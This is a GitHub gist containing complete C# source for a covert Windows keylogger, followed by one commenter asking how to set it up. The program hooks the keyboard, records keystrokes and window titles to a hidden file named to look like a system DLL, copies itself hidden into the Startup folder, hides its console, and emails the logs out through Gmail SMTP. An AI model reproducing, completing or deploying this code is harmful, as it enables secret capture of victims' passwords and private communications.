Skip to content

Instantly share code, notes, and snippets.

@arthurzam
Created March 8, 2014 15:15
Show Gist options
  • Save arthurzam/9432061 to your computer and use it in GitHub Desktop.
Save arthurzam/9432061 to your computer and use it in GitHub Desktop.
KeyLogger
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
namespace KEY
{
internal class program
{
#region don't touch
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
#endregion don't touch
/// <summary>
/// the last time action was made
/// </summary>
private static int lastTimeInt;
/// <summary>
/// the last window title
/// </summary>
private static string lastWindowTitle = "";
/// <summary>
/// path to log file
/// </summary>
/// <remarks>
/// prefer something that doesn't lookes bad
/// </remarks>
private static string pathToFile = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\\windows network manager.dll";
/// <summary>
/// path to properties file
/// </summary>
/// <remarks>
/// prefer something that doesn't lookes bad
/// </remarks>
private static string pathToProperties = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\\windows network manager.dat";
/// <summary>
/// the username to be send in the GMAIL Mail
/// </summary>
private static string username = Environment.UserName;
private static void Main(string[] args)
{
lastTimeInt = DateTimeToInt();
if (args.Length > 0 && args[0] == "Install") // if the first Argument is Install
{
// copy to startup folder
File.Copy(
Application.ExecutablePath,
Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + Path.GetFileName(Application.ExecutablePath),
true
);
// make that exe hidden
File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + Path.GetFileName(Application.ExecutablePath), FileAttributes.Hidden);
// check if in the arguments there is no need to give a specific username
if (args.Length > 1)
{
FileStream fs = new FileStream(pathToProperties, FileMode.OpenOrCreate, FileAccess.Write);
StreamWriter sw = new StreamWriter(fs);
sw.Write(args[1]);
sw.Close();
fs.Close();
File.SetAttributes(pathToProperties, FileAttributes.Hidden);
}
start();
}
else if (args.Length > 0 && args[0] == "Run") // if the first Argument is Run
start();
if (Application.StartupPath == Environment.GetFolderPath(Environment.SpecialFolder.Startup)) // if the exe is allready in startup
start();
else // their is a need to copy
{
File.Copy(
Application.ExecutablePath,
Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + Path.GetFileName(Application.ExecutablePath),
true
);
File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + Path.GetFileName(Application.ExecutablePath), FileAttributes.Hidden);
start();
}
}
/// <summary>
/// Start the KeyLogger;
/// It is a service
/// </summary>
private static void start()
{
// set the username if during Install it was given
if (File.Exists(pathToProperties))
{
username = File.ReadAllLines(pathToProperties)[0];
}
// send to gmail if the log file isn't empty
if (File.Exists(pathToFile) && new FileInfo(pathToFile).Length > 0)
{
if (send()) // if send to gmail was seccesful, the delete previous log
File.Delete(pathToFile);
}
#region Hide Console (Not so relieble)
var handle = GetConsoleWindow();
const int SW_HIDE = 0;
ShowWindow(handle, SW_HIDE);
#endregion Hide Console (Not so relieble)
// start the endless process
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
/// <summary>
/// Get the int of the current Time
/// </summary>
/// <returns></returns>
private static int DateTimeToInt()
{
return DateTime.Now.Millisecond +
DateTime.Now.Second * 1000 +
DateTime.Now.Minute * 60000;
}
#region key logger
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
StreamWriter sw = new StreamWriter(pathToFile, true);
// start to write the resukt of hook to file
if (DateTimeToInt() - lastTimeInt > 2000)
{
string currentWinTitle = GetActiveWindowTitle();
if (currentWinTitle != lastWindowTitle)
{
sw.WriteLine();
lastWindowTitle = currentWinTitle;
sw.WriteLine("** window title: " + lastWindowTitle);
}
sw.WriteLine();
sw.Write(Key2Str(vkCode) + " ");
}
else
sw.Write(Key2Str(vkCode) + " ");
// end to write the resukt of hook to file
lastTimeInt = DateTimeToInt();
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
#region don't touch
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
#endregion don't touch
/// <summary>
/// Convert the key to string
/// </summary>
/// <param name="vkCode">the int got from hook</param>
/// <returns>the string</returns>
private static string Key2Str(int vkCode)
{
switch ((Keys)vkCode)
{
case Keys.Enter: return "<enter>";
case Keys.Tab: return "<tab>";
case Keys.Space: return "<space>";
case Keys.Decimal: return ".";
case Keys.OemBackslash: return @"\";
case Keys.Oemcomma: return ",";
case Keys.OemMinus: return "<->";
case Keys.OemOpenBrackets: return "(";
case Keys.OemPeriod: return ".";
case Keys.Oem5: return "\\";
case Keys.Back: return "<backslash>";
default: return ((Keys)vkCode).ToString();
}
}
#endregion key logger
#region get the window title
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
private static string GetActiveWindowTitle()
{
const int nChars = 256;
IntPtr handle = IntPtr.Zero;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
return Buff.ToString();
}
return null;
}
#endregion get the window title
#region hide console
[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
#endregion hide console
#region gmail
/// <summary>
/// send Email to my gmail
/// </summary>
/// <returns></returns>
private static bool send()
{
const string FromLoginUsername = ""; // must be a real username, because it is GMAIL, just the username with @gmail.com
const string FromLoginPassword = ""; // must be the real password, because it is GMAIL
const string ToEmail = "";
const string FromName = "Key Logger";
const string Subject = "Key Logger";
try
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress(FromLoginUsername + "@gmail.com", FromName);
mail.To.Add(ToEmail);
mail.Subject = Subject;
mail.Body = "Date = " + DateTime.Now.ToString() + "\n" +
"Username = " + username;
System.Net.Mail.Attachment attachment = new System.Net.Mail.Attachment(pathToFile);
attachment.Name = "log.txt";
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential(FromLoginUsername, FromLoginPassword);
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
attachment.Dispose();
mail.Dispose();
return true;
}
catch
{
return false;
}
}
#endregion gmail
}
}
@IbrahimBen1k
Copy link

How to set it up??

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment